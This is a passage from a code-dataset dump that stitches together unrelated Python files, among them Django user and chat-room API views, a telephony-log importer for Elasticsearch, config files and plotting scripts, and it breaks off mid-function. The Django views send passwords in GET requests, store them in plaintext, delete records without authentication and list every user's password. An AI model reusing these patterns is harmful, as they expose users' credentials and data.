new_room.save()\n if get_id:\n return JsonResponse({'data': get_id + ' 留言已新增!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\n\nclass Delete_user(APIView): #刪除USER /deleteuser\n def get(self,request):\n get_id = request.GET.get('user_id','')\n user = User_login.objects.filter(user_id=get_id)\n user.delete()\n if get_id:\n return JsonResponse({'user ID:':get_id + ' delete!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST) \n\nclass Delete_Room_detail(APIView):\n def get (self,request):\n get_id=request.GET.get('user_id','')\n comment=Room_detail.objects.filter(user_id=get_id)\n comment.delete()\n if comment.delete():\n return JsonResponse({'user ID:':get_id + ' 的留言已刪除!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\nclass Delete_Room_commet(APIView):\n def get (self,request):\n get_id=request.GET.get('user_id','')\n get_content=request.GET.get('content','')\n comment=Room_detail.objects.filter(user_id=get_id,cotent=get_content)\n comment.delete()\n if comment.delete():\n return JsonResponse({'user ID:':get_id+' 的 '+get_content + ' 留言已刪除!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\nclass Delete_Numbers(APIView):\n def get (self,request):\n get_id=request.GET.get('user_id','')\n comment=Numbers_room.objects.filter(user_id=get_id)\n comment.delete()\n if comment.delete():\n return JsonResponse({'user ID:':get_id + ' 以踢出房間'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST) \nclass Update_user(APIView): #更改帳密 or nickname/updateuser \n def get(self,request):\n # get_id = request.GET.get('id','')\n get_userid=request.GET.get('user_id','')\n get_nickname = request.GET.get('nickname','')\n get_password = request.GET.get('password','')\n change_password = request.GET.get('changepassword','')\n update_user = User_login.objects.filter(user_id=get_userid,password=get_password)\n update_user.update(nickname=get_nickname,password=change_password)\n if get_userid:\n return JsonResponse({'user ID':get_userid + ' update!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\n\nclass Login(APIView): #更改登入狀態/login\n def get(self,request):\n get_userid=request.GET.get('user_id','')\n get_password = request.GET.get('password','')\n login_check=request.GET.get('login_check','')\n update_user = User_login.objects.filter(user_id=get_userid,password=get_password)\n update_user.update(login_check=login_check)\n for e in User_login.objects.all():\n if(e.user_id==get_userid):\n nickname=e.nickname\n for i in User_login.objects.all():\n if(i.user_id==get_userid):\n id=i.id\n if update_user:\n if login_check==False:\n return JsonResponse({'User':get_userid + ' 已成功登出'},status=status.HTTP_200_OK)\n else: \n return JsonResponse({'id':id ,'User':get_userid + '已成功登入','nickname':nickname},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\n\nclass Room_update(APIView): #更改登入狀態/login\n def get(self,request):\n room_id=request.GET.get('room_id','')\n room_title=request.GET.get('title','')\n update_user = Room.objects.filter(room_id=room_id)\n update_user.update(room_title=room_title)\n title=Room.objects.get(room_id=room_id)\n for e in Room.objects.all():\n if(e.room_id==room_id):\n title=e.room_title\n print(title)\n # nickname=User.objects.get(user_id=get_userid)\n if update_user:\n if update_user==False:\n return JsonResponse({'User':room_id + ' 已成功登出'},status=status.HTTP_200_OK)\n else: \n return JsonResponse(title,safe=False)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\nclass List_post(APIView):\n def get(self,request):\n page = request.GET.get('page',1) # browsing page i\n posts = Post.objects.all().values()\n\n paginator = Paginator(posts,10) #10 data for one page\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n posts = paginator.page(1)\n except EmptyPage:\n posts = paginator.page(paginator.num_pages)\n\n return JsonResponse(\n # {'data':json.dumps(list(posts),sort_keys=True,indent=1,cls=DjangoJSONEncoder)},\n {'data':list(posts)},\n status=status.HTTP_200_OK\n )\nclass List_User(APIView):\n def get(self,request):\n user = User_login.objects.all().values()\n return JsonResponse(\n {'data':list(user)},\n status=status.HTTP_200_OK\n )\nclass List_Room_detail(APIView):\n def get (self,request):\n room = Room_detail.objects.all().values()\n return JsonResponse(\n list(room),safe=False \n )\nclass List_Numbers(APIView):\n def get(self,request):\n numbers=Numbers_room.objects.all().values()\n return JsonResponse(\n list(numbers),safe=False\n )\nclass List_Room(APIView):\n def get (self,request):\n index =request.GET.get('index',None)\n if index:\n room=Room.objects.filter(id=index).values()\n else:\n room=Room.objects.all().values()\n return JsonResponse(list(room),safe=False)\n\nclass Test(APIView):\n def get(self,request):\n restaurants = Restaurant.objects.all().values() # values()把QuerySet裡的所有Restaurant objects變成dict\n restaurants = list(restaurants) \n return JsonResponse(\n restaurants,safe=False\n )\n\nclass Add_test(APIView):\n def get(self,request):\n rest = request.GET.get('name','')\n res=Restaurant()\n res.name=rest\n res.save()\n # restaurants = Restaurant.objects.all().values()\n # res.restaurant=food.name\n if rest:\n return JsonResponse({'data': rest + ' insert!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\n","sub_path":"myapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"394069376","text":"\"\"\"\nBIAC GTC IMPORT TELEPHONY\n====================================\n\nThis process decodes MITTEL log file and store recordxs into ealstic search./\n\nListens to:\n-------------------------------------\n\n* /queue/TELEPHONY_IMPORT\n\n\nCollections:\n-------------------------------------\n\n* **telephony** (Raw Data)\n* **nyx_config_telephony** (Raw Data)\n\n\n\nVERSION HISTORY\n===============\n\n* 19 Dec 2019 1.0.8 **AMA** OutOther renamed. Added to doc\n* 07 Jan 2020 1.1.0 **AMA** Format customized to match the raw log format\n* 08 Jan 2020 1.2.0 **AMA** Set file header if not present\n* 03 Mar 2020 1.3.0 **AMA** Desk filled with NA if required\n\"\"\" \nimport json\nimport time\nimport uuid\nimport base64\nimport threading\nimport os,logging\nimport pandas as pd\nimport platform\nfrom io import StringIO\n\nfrom logging.handlers import TimedRotatingFileHandler\nfrom amqstompclient import amqstompclient\nfrom elastic_helper import es_helper \nfrom datetime import datetime\nfrom datetime import timedelta\nfrom functools import wraps\nfrom elasticsearch import Elasticsearch as ES, RequestsHttpConnection as RC\nfrom logstash_async.handler import AsynchronousLogstashHandler\nfrom lib import pandastoelastic as pte\nimport numpy as np\n\nimport math\nfrom copy import deepcopy\nfrom pandas.io.json import json_normalize\nimport tzlocal\n\nVERSION=\"1.3.0\"\nMODULE=\"GTC_IMPORT_TELEPHONY\"\nQUEUE=[\"TELEPHONY_IMPORT\"]\n\n\nINDEX_PATTERN = \"gtc_import_telephony\"\n\n\n########### QUERIES BODY #######################\n\n\n\n#####################################################\n\ndef log_message(message):\n global conn\n\n message_to_send={\n \"message\":message,\n \"@timestamp\":datetime.now().timestamp() * 1000,\n \"module\":MODULE,\n \"version\":VERSION\n }\n logger.info(\"LOG_MESSAGE\")\n logger.info(message_to_send)\n conn.send_message(\"/queue/NYX_LOG\",json.dumps(message_to_send))\n\n################################################################################\n\n\n\ndef messageReceived(destination,message,headers):\n global es, basefile\n records=0\n starttime = time.time()\n logger.info(\"==> \"*10)\n logger.info(\"Message Received %s\" % destination)\n logger.info(headers)\n logger.info(message)\n now = datetime.now()\n\n local_timezone = tzlocal.get_localzone()\n\n if \"CamelSplitAttachmentId\" in headers:\n headers[\"file\"] = headers[\"CamelSplitAttachmentId\"]\n\n if \"file\" in headers:\n logger.info(\"File:%s\" %headers[\"file\"])\n log_message(\"Import of file [%s] started.\" % headers[\"file\"])\n else:\n headers[\"file\"]=\"From_Rest_API\"\n \n \n dfconfig = es_helper.elastic_to_dataframe(es,index=\"nyx_config_telephony\")\n dfconfig=dfconfig.set_index([\"DnisNr\"])\n dfconfight=dfconfig.to_dict('index')\n\n mess = base64.b64decode(message)\n df = None\n\n mesin=mess.decode(\"utf-8\", \"ignore\")\n\n# te=pd.read_fwf(StringIO(full)\n## , names=[\"Date\",\"Hour\",\"Duration\",\"A4\",\"Code\",\"A6\",\"A7\",\"Called\",\"Caller\",\"A10\",\"Desk\",\"A12\",\"A13\",\"A14\",\"A15\",\"A16\",\"A17\"]\n# ,delim_whitespace=True, header=None,converters={\"Date\":str,\"Hour\":str,\"Called\":str,\"Caller\":str,\"Desk\":str})\n\n # colspecs=[[0, 6],\n # [6, 13],\n # [13, 19],\n # [20, 24],#A4\n # [25, 27],#COde\n # [27, 30],#A6\n # [30, 37],#A7\n # [37, 57],#CALLED\n # [58, 88],#CALLER\n # [89, 96],#Rings\n # [97, 107],#DESK\n # [108, 123],#A12\n # [124, 133],#A13\n # [134, 138],#A14\n # [137, 143],#A15\n # [144, 155],\n # [156, 159]]\n\n colspecs=[[0, 6],\n [6, 13],\n [13, 19],\n [20, 24],#A4\n [25, 27],#COde\n [27, 30],#A6\n [30, 37],#A7\n [37, 60],#CALLED\n [61, 88],#CALLER\n [89, 96],#Rings\n [97, 107],#DESK\n [108, 123],#A12\n [124, 135],#A13\n [137, 140],#A14\n [139, 145],#A15\n [146, 156],\n [157, 161]]\n\n logger.info(\"Remove LIFE SIGNS\")\n mesin=mesin.split(\"\\n\")\n mesin=[_.strip() for _ in mesin if \"Cofely\" not in _]\n mesin=\"\\n\".join(mesin)\n\n logger.info(\"Panda read...\")\n te=pd.read_fwf(StringIO(mesin),header=None,colspecs=colspecs\n ,converters={\"A13\":str,\"A4\":str,\"A15\":str,\"A16\":str,\"Date\":str,\"Hour\":str,\"Called\":str,\"Caller\":str,\"Desk\":str}\n , names=[\"Date\",\"Hour\",\"Duration\",\"A4\",\"Code\",\"A6\",\"A7\",\"Called\",\"Caller\",\"Rings\",\"Desk\",\"A12\",\"A13\",\"A14\",\"A15\",\"A16\",\"A17\"])\n\n logger.info(\"Done\")\n #te=te[89:] # IMPORTANT get rid of the base template file\n\n\n te[\"Caller\"]=te[\"Caller\"].fillna(\"\")\n te[\"Code\"]=te[\"Code\"].fillna(\"\")\n te[\"Desk\"]=te[\"Desk\"].fillna(0)\n te['InternalCalled1']=te['Called'].str.replace(' ','')\n te['InternalCalled']=(te['InternalCalled1'].str.len()<6)\n te['InternalCaller1']=te['Caller'].str.replace(' ','')\n te['InternalCaller']=(te['InternalCaller1'].str.len()<6)\n te['SolidusCalled']=(te['InternalCalled1'].str.match(\"93901\"))\n\n te['Desk2']=pd.to_numeric(te['Desk'], errors='coerce',downcast='integer')\n te['DeskCaller']=pd.to_numeric(te['Caller'], errors='coerce',downcast='integer')\n\n del te['InternalCalled1']\n del te['InternalCaller1']\n\n calltype=[]\n\n\n\n for index, row in te.iterrows():\n if(row[\"Caller\"].find(\"91931\")>=0):\n calltype.append(\"Test\")\n\n elif (row[\"Desk2\"]>76800) and (row[\"Desk2\"]<76810) and (row[\"DeskCaller\"]>76900) and (row[\"DeskCaller\"]<76910):\n calltype.append(\"Transfer\")\n\n elif (row[\"DeskCaller\"]>76800) and (row[\"DeskCaller\"]<76810) and (row[\"Desk2\"]>76900) and (row[\"Desk2\"]<76910):\n calltype.append(\"Transfer\")\n\n elif(row[\"Desk2\"]>76900) and (row[\"Desk2\"]<76910):\n calltype.append(\"InDispa\")\n\n elif(row[\"Desk2\"]>76800) and (row[\"Desk2\"]<76810):\n calltype.append(\"InDesk\")\n\n elif(row[\"SolidusCalled\"]):\n if (not(row[\"InternalCaller\"])):\n calltype.append(\"In\")\n else:\n calltype.append(\"InOther\")\n else:\n if (row[\"InternalCaller\"]):\n\n if(row[\"DeskCaller\"]>76900) and (row[\"DeskCaller\"]<76910):\n calltype.append(\"OutDispa\")\n elif(row[\"DeskCaller\"]>76800) and (row[\"DeskCaller\"]<76810):\n calltype.append(\"OutDesk\")\n else:\n calltype.append(\"Out\")\n\n else:\n calltype.append(\"Other\")\n\n te['CallType']=calltype\n te['DurationSecond']=te['Duration']%100\n te['DurationMinute']=te['Duration']/100\n te['DurationMinute2']=te['DurationMinute'].astype(int)\n\n te['Duration']=te['DurationMinute2']*60+te['DurationSecond']\n\n\n #logger.info(te)\n messagebody=\"\"\n\n action={}\n\n te2=te\n\n del te2[\"A4\"]\n del te2[\"A6\"]\n #del te2[\"A10\"]\n #del te2[\"A11\"]\n del te2[\"A12\"]\n del te2[\"A13\"]\n del te2[\"A14\"]\n #del te2[\"A15\"]\n #del te2[\"A16\"]\n #del te2[\"A17\"]\n del te2[\"A7\"]\n te2[\"A15\"].fillna(0,inplace=True)\n te2[\"A16\"].fillna(0,inplace=True)\n te2[\"A17\"].fillna(0,inplace=True)\n\n te2[\"timestamp\"]=te2[\"Date\"]+te2[\"Hour\"]\n\n te2[\"Date2\"]=pd.to_datetime(te2[\"timestamp\"], format=\"%d%m%y%H%M%S\")\n te2[\"Date\"]=pd.to_datetime(te2[\"timestamp\"], format=\"%d%m%y%H%M%S\")\n te2[\"Date\"]=te2['Date'].dt.tz_localize(tz='Europe/Paris',ambiguous=True)\n del te2[\"timestamp\"]\n del te2[\"Hour\"]\n\n\n te2\n\n for index,row in te2.iterrows():\n obj={}\n #obj[\"@timestamp\"]=int(row[\"Date\"].timestamp())*1000\n obj[\"@timestamp\"]=row['Date'].isoformat() \n obj[\"Duration\"]=row[\"Duration\"]\n obj[\"Code\"]=row[\"Code\"].replace(' ','')\n obj[\"Called\"]=str(row[\"Called\"]).replace(' ','')\n\n try:\n if int(obj[\"Called\"]) in dfconfight:\n obj[\"Client\"]=dfconfight[int(obj[\"Called\"])][\"Name\"] \n except:\n pass \n\n obj[\"Caller\"]=row[\"Caller\"].replace(' ','')\n try:\n obj[\"Desk\"]=int(row[\"Desk\"])\n except:\n obj[\"Desk\"]=row[\"Desk\"]\n\n try:\n obj[\"DeskCaller\"]=int(row[\"DeskCaller\"])\n except:\n obj[\"DeskCaller\"]=row[\"DeskCaller\"]\n if str(obj[\"DeskCaller\"])=='nan':\n obj[\"DeskCaller\"]=\"\"\n\n\n\n obj[\"InternalCaller\"]=row[\"InternalCaller\"]\n obj[\"InternalCalled\"]=row[\"InternalCalled\"]\n obj[\"SolidusCalled\"]=row[\"SolidusCalled\"]\n obj[\"CallType\"]=row[\"CallType\"]\n obj[\"Rings\"]=row[\"Rings\"]\n\n obj[\"A15\"]=row[\"A15\"]\n obj[\"A16\"]=row[\"A16\"]\n obj[\"A17\"]=row[\"A17\"]\n\n if \"nan\" not in obj[\"Called\"]+'_'+obj[\"Caller\"]:\n action[\"index\"]={\"_index\":\"telephony\",\"_type\":\"doc\",\"_id\":str(int(row[\"Date2\"].timestamp())*1000)+'_'+obj[\"Called\"]+'_'+obj[\"Caller\"]} \n messagebody+=json.dumps(action)+\"\\r\\n\";\n messagebody+=json.dumps(obj)+\"\\r\\n\"\n\n \n\n # if \"NaN\" in messagebody:\n # print(\"BAD\")\n # pass\n\n if(len(messagebody)>50000):\n logger.info (\"BULK\")\n try:\n resbulk=es.bulk(messagebody)\n #print(resbulk[\"errors\"])\n if resbulk[\"errors\"]:\n logger.error(\"BULK ERROR\")\n for item in resbulk[\"items\"]:\n \n for key in item:\n if \"error\" in item[key]: \n logger.error(item)\n logger.info(messagebody)\n \n\n except:\n logger.error(\"Unable to bulk\",exc_info=True)\n logger.info(resbulk)\n \n messagebody=\"\"\n\n try:\n if len(messagebody)>0:\n resbulk=es.bulk(messagebody)\n except:\n logger.error(\"Unable to bulk\",exc_info=True)\n logger.error(resbulk)\n #print (messagebody)\n logger.info (\"FINISHED\")\n\n endtime = time.time() \n try:\n log_message(\"Import of file [%s] finished. Duration: %d Records: %d.\" % (headers[\"file\"],(endtime-starttime),df.shape[0])) \n except:\n log_message(\"Import of file [%s] finished. Duration: %d.\" % (headers[\"file\"],(endtime-starttime)))\n\n\n\n\n\n\n\n\n\n\n\n\n###################################################################################################################################################\n\n\n\n\n#>> ELK\nes=None\n\n\nif __name__ == '__main__': \n logging.basicConfig(level=logging.INFO,format='%(asctime)s %(levelname)s %(module)s - %(funcName)s: %(message)s', datefmt=\"%Y-%m-%d %H:%M:%S\")\n logger = logging.getLogger()\n\n lshandler=None\n\n if os.environ[\"USE_LOGSTASH\"]==\"true\":\n logger.info (\"Adding logstash appender\")\n lshandler=AsynchronousLogstashHandler(\"logstash\", 5001, database_path='logstash_test.db')\n lshandler.setLevel(logging.ERROR)\n logger.addHandler(lshandler)\n\n handler = TimedRotatingFileHandler(\"logs/\"+MODULE+\".log\",\n when=\"d\",\n interval=1,\n backupCount=30)\n\n logFormatter = logging.Formatter('%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s')\n handler.setFormatter( logFormatter )\n logger.addHandler(handler)\n\n logger.info(\"==============================\")\n logger.info(\"Starting: %s\" % MODULE)\n logger.info(\"Module: %s\" %(VERSION))\n logger.info(\"==============================\")\n\n #>> AMQC\n server={\"ip\":os.environ[\"AMQC_URL\"],\"port\":os.environ[\"AMQC_PORT\"]\n ,\"login\":os.environ[\"AMQC_LOGIN\"],\"password\":os.environ[\"AMQC_PASSWORD\"]\n ,\"heartbeats\":(180000,180000),\"earlyack\":True}\n\n lastvaluecache={}\n dayvaluecache={}\n conn=amqstompclient.AMQClient(server\n , {\"name\":MODULE,\"version\":VERSION,\"lifesign\":\"/topic/NYX_MODULE_INFO\"},QUEUE,callback=messageReceived)\n connectionparameters={\"conn\":conn}\n logger.info (os.environ[\"ELK_SSL\"])\n\n if os.environ[\"ELK_SSL\"]==\"true\":\n host_params = {'host':os.environ[\"ELK_URL\"], 'port':int(os.environ[\"ELK_PORT\"]), 'use_ssl':True}\n es = ES([host_params], connection_class=RC, http_auth=(os.environ[\"ELK_LOGIN\"], os.environ[\"ELK_PASSWORD\"]), use_ssl=True ,verify_certs=False)\n else:\n host_params=\"http://\"+os.environ[\"ELK_URL\"]+\":\"+os.environ[\"ELK_PORT\"]\n es = ES(hosts=[host_params])\n\n logger.info(\"AMQC_URL :\"+os.environ[\"AMQC_URL\"])\n while True:\n time.sleep(5)\n try: \n variables={\"platform\":\"_/_\".join(platform.uname()),\"icon\":\"wrench\"}\n conn.send_life_sign(variables=variables)\n except Exception as e:\n logger.error(\"Unable to send life sign.\")\n logger.error(e)\n #app.run(threaded=True,host= '0.0.0.0')\n","sub_path":"sources/gtc_import_telephony.py","file_name":"gtc_import_telephony.py","file_ext":"py","file_size_in_byte":12875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"269909875","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\nimport os\n\n# 是否启用调试 若启用 将不再忽略检查过程中发生的任何异常\n# 建议在开发环境中启用 在生产环境中禁用\nDEBUG_ENABLE = False\n\n# SQLite 数据库文件名\nSQLITE_FILE = \"saved.db\"\n\n# 日志文件名\nLOG_FILE = \"log.txt\"\n\n# 是否启用日志\nENABLE_LOGGER = True\n\n# 循环检查的间隔时间(默认: 180分钟)\nLOOP_CHECK_INTERVAL = 180 * 60\n\n# 代理服务器\nPROXIES = \"127.0.0.1:1080\"\n\n# 请求超时\nTIMEOUT = 20\n\n# 是否为 Socks5 代理\nIS_SOCKS = False\n\n# 是否启用 TG BOT 发送消息的功能\nENABLE_SENDMESSAGE = False\n\n# TG BOT TOKEN\nTG_TOKEN = os.environ.get(\"TG_TOKEN\", \"\")\n\n# 发送消息到...\nTG_SENDTO = os.environ.get(\"TG_SENDTO\", \"\")\n\nif IS_SOCKS:\n _PROXIES_DIC = {\"http\": \"socks5h://%s\" % PROXIES, \"https\": \"socks5h://%s\" % PROXIES}\nelse:\n _PROXIES_DIC = {\"http\": PROXIES, \"https\": PROXIES}\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"69732117","text":"import sys\n\nfrom . import mockapp\n\ndef main(args):\n if args[1] == \"new\" and len(args) == 4:\n mockapp.cmd.new_project(args[2], args[3])\n\n\nif __name__ == \"__main__\":\n main(sys.argv)","sub_path":"Inventory/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"25089182","text":"import os\nimport os.path\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nfolder_path = r\"/home/apetropc/y_record\"\n\nclean_distr = np.load(\"clean.npy\")\nkeeped_samples = np.load(\"5000.npy\")\nclean_distr = clean_distr[keeped_samples]\n\nidx = np.argmax(clean_distr, axis =1)\nidx = torch.tensor(idx)\n\n# number of samples \nN = 5000\n\nstart_y = 0 # 65\nend_y = 135\nacc_list = []\n\n\nfor k in range(start_y,end_y) :\n num_correct = 0\n\n if(k>=100):\n init_str = \"y_\"\n elif(k<10):\n init_str = \"y_00\"\n else:\n init_str = \"y_0\"\n\n current_distr = np.load(\"record/\"+init_str+str(k)+\".npy\")\n current_distr = torch.tensor(current_distr)\n correct = torch.eq(torch.max(F.softmax(current_distr, dim = 0), dim=1)[1],idx).view(-1)\n num_correct += torch.sum(correct).item()\n acc = num_correct/N\n acc_list.append(acc)\n\n\n\n \n# visualize the loss as the network trained\nfig = plt.figure(figsize=(10,8))\nplt.plot(range(start_y,end_y),acc_list, label='Corrected Labels with PENCIL')\n\n# find position of lowest validation loss\n#minposs = valid_loss.index(min(valid_loss))+1 \n#plt.axvline(minposs, linestyle='--', color='r',label='Early Stopping Checkpoint')\n\nplt.xlabel('epochs')\nplt.ylabel('Correct Labels')\nplt.autoscale()\nplt.grid(True)\nplt.legend()\nplt.tight_layout()\nplt.show()\nfig.savefig('correct_labels_plot.png', bbox_inches='tight')\n","sub_path":"check_distributions.py","file_name":"check_distributions.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"342777296","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Admission',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('name', models.CharField(max_length=20)),\n ('index', models.IntegerField(max_length=10)),\n ('email', models.EmailField(max_length=254)),\n ('publish', models.DateTimeField(auto_now_add=True)),\n ('Request', models.TextField(max_length=140)),\n ],\n ),\n ]\n","sub_path":"panthers/admission/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"412571329","text":"import sys\nimport pygame\nimport time\nfrom pygame.locals import *\npygame.init()\nalarm = sys.argv[1]\nblack = (0,0,0)\nwhite = (255,255,255)\nred = (255,0,0)\nblue =(57,0,236)\nccycle = [white,red,blue]\nccnum = 0\nctt = time.asctime()\nstart = time.time()\ndef text_objects(text, font):\n textSurface = font.render(text, True, black)\n return textSurface, textSurface.get_rect()\ndef GameLoop(alarm):\n global ccnum\n largeText = pygame.font.SysFont('consolas', 52)\n smallText = pygame.font.SysFont('consolas', 30)\n helpText = pygame.font.SysFont('consolas', 20)\n display_width = pygame.display.list_modes()[0][0]\n display_height = pygame.display.list_modes()[0][1]\n gameDisplay = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n pygame.display.set_caption('Emergency Alert')\n gameDisplay.fill(black)\n while True:\n if alarm == 'General':\n gameDisplay.fill(red)\n TextSurf, TextRect = text_objects('HVRHS EMERGENCY ALERT SYSTEM WAS ACTIVATED AT {0} LOCALTIME'\n .format(ctt).upper(), largeText)\n\n if alarm == 'Silent':\n gameDisplay.fill(blue)\n TextSurf, TextRect = text_objects('The Silent Alarm Was Activated At {0}'.format(ctt), largeText)\n\n if alarm == 'Both':\n gameDisplay.fill(ccycle[ccnum])\n if ccnum < (len(ccycle)-1): ccnum += 1\n else: ccnum = 0 \n TextSurf, TextRect = text_objects('All Alarms Active As Of {0} localtime'.format(ctt), largeText)\n\n TextRect.center = ((display_width / 2), (display_height / 2))\n smallTextSurf, smallTextRect = text_objects('Emergency Broadcast System:', smallText)\n smallTextRect.center = ((display_width / 2), (display_height / 4))\n helpTextSurf, helpTextRect = text_objects(\"Press Any Key To Acknowledge & Dismiss...\", helpText)\n helpTextRect.center = ((display_width / 2), (display_height - (display_height / 4)))\n gameDisplay.blit(TextSurf, TextRect)\n gameDisplay.blit(smallTextSurf, smallTextRect)\n gameDisplay.blit(helpTextSurf, helpTextRect)\n pygame.display.update()\n pygame.display.flip()\n pygame.time.wait(500)\n for event in pygame.event.get():\n if pygame.key.get_pressed() and (time.time() - start > 2):\n pygame.quit()\n break\nGameLoop(alarm)","sub_path":"display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"80189194","text":"from flask import request\nfrom project.server.managers.database import db\nfrom project.server.models.sys_image import Image\nfrom project.server.helpers import database\nfrom project.server.handlers.filesystem.dataset import rename_dataset\nfrom project.server import app\n\ndef select_all_attributes(restful):\n query = Image.query.filter_by(**restful.filters)\n query = database.full_text_search(query, restful.q,\n [Image.flagging])\n query = query.order_by(*database.get_order_by(Image, restful.order_by))\n return database.get_list(query, restful.pagination)\n\ndef update_all_attributes():\n data = request.get_json()\n db.session.query(Image).filter_by(agent_id=7).update(data)\n db.session.commit()\n return {\n \"data\": \"query1.to_dictionary()\"\n }\n\ndef select_by_dataset():\n request_data = request.get_json()\n output_data = db.session.query(Image).filter_by(dataset=request_data['dataset']).all()\n return output_data\n\ndef delete_by_dataset():\n request_data = request.get_json()\n db.session.query(Image).filter_by(dataset=request_data['dataset']).delete()\n db.session.commit()\n return {\n \"status\": f\"All Image Attribute with {request_data['dataset']} have been removed.\"\n }\n\ndef update_by_dataset():\n request_data = request.get_json()\n dataset_updated = request_data['dataset']\n request_data.pop('dataset', None)\n db.session.query(Image).filter_by(dataset=dataset_updated).update(request_data)\n db.session.commit()\n return {\n \"status\": f\"All Image Attribute with {dataset_updated} have been updated new values.\"\n }\n\ndef insert_image_attribute():\n request_data = request.get_json()\n new_image_attribute = Image()\n new_image_attribute.from_json(request_data)\n if request_data.get(\"image_path\", None) is not None:\n new_image_attribute.image_path = request_data['image_path']\n db.session.add(new_image_attribute)\n db.session.commit()\n return {\n \"status\": f\"New Image Attribute with info {new_image_attribute.to_dictionary()} has been inserted.\"\n }\n\ndef update_dataset(dataset_name):\n data = request.get_json()\n try:\n rename_dataset(dataset_name, data.get('dataset_name'))\n db.session.query(Image).filter_by(dataset=dataset_name).update(data.get(dataset_name))\n db.session.commit()\n except FileExistsError:\n pass\n return \"Dataset has been updated\"\n\n","sub_path":"g/project/server/handlers/database/image_attribute.py","file_name":"image_attribute.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"415244777","text":"import numpy as np\nimport tifffile as tf\nimport matplotlib.pyplot as plt\nfrom glob import glob\nfrom skimage import io\n\nids = [8, 32, 104, 12, 216, 198, 136, 28]\naccs = [0.2, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n\nfns8 = glob('../samples_8/*')\nfns32 = glob('../samples_32/*')\n\nnum = 62\n\nfor fn in fns8:\n ID = fn.split('/')[-1].split('sample_8_')[-1].split('_')[0]\n print(ID)\n im = tf.imread(fn)\n io.imsave('figs/slices/{}_8.tif'.format(ID),\n np.flip(np.flip(im[..., num], axis=0), axis=1))\n\nfor fn in fns32:\n ID = fn.split('/')[-1].split('sample_32_')[-1].split('_')[0]\n print(ID)\n im = tf.imread(fn)\n io.imsave('figs/slices/{}_32.tif'.format(ID),\n np.flip(np.flip(im[..., num], axis=0), axis=1))\n","sub_path":"notes/2018-09-17-bit-depth/report/get_data_pngs.py","file_name":"get_data_pngs.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"67822218","text":"\"\"\"\nValidate\n\"\"\"\nimport svdd as dd\nimport numpy as np\nimport fonc_util as f\n#import segmentation as seg\n\nimport func\n\ndef detfark(Xt,Xo,inm,inp): \n\n \n #Xt = np.random.rand(10, np.size(tabp,0))\n Xo = 10*Xo\n iter=-1\n res=[]\n for i in range(len(inm)):\n r1=inp[i]\n xti=Xt[:,r1[0]:r1[len(r1)-1]+1]\n xoi=Xo[:,r1[0]:r1[len(r1)-1]+1]\n z=f.find(xti,xti[:,0]!=0)\n xti=xti[z,:]\n xti=xti[0]\n z=f.find(xoi,xoi[:,0]!=0)\n xoi=xoi[z,:]\n xoi=xoi[0]\n #print xti,xoi,np.size(xti,0)\n if np.size(xti,0)>4:\n s=np.std(xti,0)\n S=np.kron(np.ones((np.size(xti,0),1)),s)\n xti=xti/S\n S=np.kron(np.ones((np.size(xoi,0),1)),s)\n xoi=xoi/S\n resini=func.k_means(xti)['clusters']\n #print resini\n if np.minimum(len(resini[0]),len(resini[1]))>0: \n if float(np.minimum(len(resini[0]),len(resini[1])))/ float(np.size(xti,0))<0.12:\n #print float(np.minimum(len(resini[0]),len(resini[1])))/ float(np.size(xti,0))\n if len(resini[0])0:\n ctm=0\n me=0\n ram=0\n for ii in range(np.size(xti,1)):\n X1 = 